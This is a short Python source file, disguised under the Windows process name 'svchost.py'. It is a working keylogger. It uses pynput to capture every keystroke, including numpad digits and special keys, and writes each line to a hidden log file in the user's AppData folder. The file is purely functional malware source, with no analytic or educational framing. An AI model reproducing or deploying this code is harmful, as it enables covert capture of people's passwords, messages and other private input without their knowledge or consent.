svchost.py

import pynput.keyboard as Keyboard
import os

ky = ""
f = open("C:/Users/"+os.getlogin()+"/AppData/Local/Programs/booom.txt", "w")

def numpad(num):
    switch = {
        96 : "0",
        97 : "1",
        98 : "2",
        99 : "3",
        100 : "4",
        101 : "5",
        102 : "6",
        103 : "7",
        104 : "8",
        105 : "9"
    }
    return switch.get(num, "")

def scase (sc):
    switch = {
        Keyboard.Key.space : " ",
        Keyboard.Key.ctrl_l : " <ctr_1> ",
        Keyboard.Key.alt_l : " <alt_1> ",
        Keyboard.Key.ctrl_r : " <ctr_r> ",
        Keyboard.Key.shift : " <shift> ",
        Keyboard.Key.shift_r : " <shift_r> ",
        Keyboard.Key.caps_lock : " <caps_lock> ",
        Keyboard.Key.tab : " <tab> ",
        Keyboard.Key.esc : " <esc> ",
        Keyboard.Key.enter : "\n",
        Keyboard.Key.backspace : " <backspace> "
    }
    return switch.get(sc, "_")

def on_press(key):
    global ky
    try:
        if hasattr(key, 'vk') and 96 <= key.vk <= 105:
            ky = ky + numpad(key.vk)
        else:
            ky = ky + f'{key.char}'
            if key == Keyboard.Key.enter:
                f.write(ky)
                ky = ""
    except AttributeError:
        ky =  ky + scase(key)
        if key == Keyboard.Key.enter:
            f.write(ky)
            ky = ""
    print(ky)

def on_release(key):
    if key == Keyboard.Key.esc:
        f.close()
        return False
 
with Keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()